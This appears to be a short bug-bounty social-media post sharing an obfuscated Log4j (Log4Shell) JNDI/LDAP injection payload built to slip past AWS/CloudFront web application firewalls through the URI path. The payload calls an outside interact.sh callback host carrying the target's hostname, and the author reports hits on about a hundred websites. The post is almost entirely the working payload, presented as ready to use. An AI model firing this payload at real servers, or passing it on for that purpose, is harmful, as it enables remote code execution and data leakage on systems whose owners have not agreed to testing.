WAF bypass LDAP injection by naglinagli

Working AWS/Cloudfront #log4j WAF Bypass within the URI path

https:\/\/hostname.com/${jndi${nagli:-:}ldap:${::-/}/${hostName}.anything.interact.sh/a}}

Please note that AWS WAF is self configurable, but I got hits on ~100 websites today with this payload.

#BugBounty https://t.co/7awtKeCRbN